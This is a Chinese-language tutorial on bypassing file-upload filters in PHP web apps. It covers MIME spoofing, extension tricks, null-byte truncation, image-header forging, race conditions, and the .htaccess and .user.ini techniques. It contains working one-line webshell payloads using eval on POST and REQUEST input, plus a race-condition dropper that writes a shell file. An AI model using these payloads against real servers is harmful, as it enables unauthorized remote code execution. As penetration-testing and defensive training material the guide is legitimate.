目录
上传文件一般过滤方式
客服端校验
服务端校验
黑白名单机制
常规文件上传漏洞绕过
客户端绕过
1.游览器禁用JavaScript
2.正常burp suite抓包改包
服务端绕过
1.Content-Type绕过
2.黑名单绕过
1)命名规则绕过
2)大小写绕过
3)末尾空格绕过
4)末尾“.”绕过
5)文件末尾添加::$DATA绕过
6)双写绕过
3.白名单绕过
1)00截断(%00)绕过
2)文件头检测绕过
3)图片二次渲染绕过
4)条件竞争
特殊文件上传漏洞绕过
.htaccess绕过
fastcgi的.user.ini绕过
上传文件一般过滤方式
客服端校验
- 使用JavaScript校验
服务端校验
- 检查Content-Type (内容类型)
- 检查后缀
- 检查文件头
黑白名单机制
- 黑名单:禁用上传的类型
- 白名单:只允许上传指定类型
常规文件上传漏洞绕过
客户端绕过
1.游览器禁用JavaScript
2.正常burp suite抓包改包
服务端绕过
1.Content-Type绕过
文件扩展名 | Mime-Type |
.js | application/x-javascript |
.html | text/html |
.jpg | image/jpeg |
.png | image/png |
| application/pdf |
只是检查一下文件的上传格式,mime校验
使用burp suite抓包改包就行
2.黑名单绕过
1)命名规则绕过
php中,默认状态下.php3、.php4、.php5、.phtml 都是会被解析为php。
尝试 .php1~.php9 ,.phps,.htaccess等后缀名。
2)大小写绕过
没有 strtolower()函数,说明不存在大小写过滤,因此可以考虑大小写绕过
比如:.Php、PHp、PHP、pHP、phP、PhP等。
3)末尾空格绕过
Linux:没有trim($file_ext)对首尾去空的函数,则可以在文件尾后面添加一个空格。
比如:'.php'过滤,则不会匹配'.php '结尾的文件,服务器仍然会正常解析。
4)末尾“.”绕过
Linux:没有deldot($file_name)删除文件名末尾的点函数,则可以在文件尾后面添加一个“.”。
比如:对于'.php'过滤,则不会过滤掉'.php.'文件。
5)文件末尾添加::$DATA绕过
在windows上,如果文件名+"::$DATA",会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名。(Windows文件流绕过)
比如:"phpinfo.php::$DATA",Windows会自动去掉末尾的::$DATA变成"phpinfo.php"。
6)双写绕过
在过滤一些字符时,有时只会过滤一次,可以写两次绕过。
或某些函数去除“.”和空格只去除一次,可以进行多写几个空格和“.”绕过
比如:.pphphp,从左往右匹配到第一个php时去掉变为.php,达到了绕过的目的
3.白名单绕过
1)00截断(%00)绕过
有些函数,会把字符的ascii码值为0,当做结束符
基于GET的00截断
基于POST的00截断
burp suite抓包改包,如:“1.phpa”,在Hex里改a的ASCII“61”为“00”
2)文件头检测绕过
有的文件上传,上传时会检测文件头,不同的文件,文件头也不一样,常见的文件上传图片头检测 它检测图片两个字节长度,如果不是图片格式,会禁止上传文件。
a.可以添加GIF89a
#常见的图片文件头
JPG:FF D8 FF E0 00 10 4A 46 49 46
GIF:47 49 46 38 39 61(GIF89a)
PNG:89 50 4E 47
b.可以制作图片马
准备图片1.png与恶意脚本test.php。
cmd下执行下面代码,即可获取图片马。
copy 1.png/b+test.php test.png
# 参数/b指定以二进制格式复制、合并文件,用于图像类/声音类文件
copy 1.png/b+test.text/a test.png
# 参数/a指定以ASCII格式复制、合并文件,用于txt等文档类文件
3)图片二次渲染绕过
有的文件上传后,会对上传的图片进行二次渲染后在保存,体积可能会更小,图片会模糊一些,但是符合网站的需求。例如新闻图片封面等可能需要二次渲染,因为原图片占用的体积更大。访问的人数太多时候会占用,很大带宽。二次渲染后的图片内容会减少,如果里面包含后门代码,可能会被省略。导致上传的图片马,恶意代码被清除。
首先判断图片是否允许上传 gif,gif 图片在二次渲染后,与原图片差别不会太大。 所以二次渲染攻击最好用 gif 图片马。
将渲染后的图片和原图进行比较
找相同处,覆盖字符串,填写一句话木马或者恶意指令
原图片与渲染后的图片这个位置的字符串没有改变,在原图片这个位置替换,然后直接上传即可
4)条件竞争
上传-->保存-->检测-->删除
与删除函数竞争,在删除之前,能访问(执行)上传的文件。
上传的文件是一个能生成木马的文件,
比如文件test.php:<?php fwrite(fopen('muma.php','w'),'<?php @eval($_POST[muma]);?>');?>
a.用burp suite持续上传文件(test.php)
b.用burp suite持续访问上传的文件(test.php)
c.getshell,连接muma.php
特殊文件上传漏洞绕过
.htaccess绕过
上传.htaccess文件,添加解析AddType application/x-httpd-php .jpg
例如:AddType application/x-httpd-php .jpg 这个指令代表着.jpg文件会当做php来解析。
fastcgi的.user.ini绕过
.user.ini
GIF89a
auto_prepend_file=1.png
图片
1.png
GIF89a
<?=eval($_REQUEST['pass']); ?>
getshell
http://ip:port/xxx/xxx.php
pass
当 auto_prepend_file 配置启用后,PHP 在执行每个脚本之前会自动将指定的文件包含进来,作为脚本的一部分。这个文件可以包含一些通用的代码、函数、类或初始化操作,以便在每个脚本中都能自动执行。
因此,我们可以传入.user.ini文件,通过auto_prepend_file将含有一句话木马的文件名称包含到每个文件中。然后再上传该文件。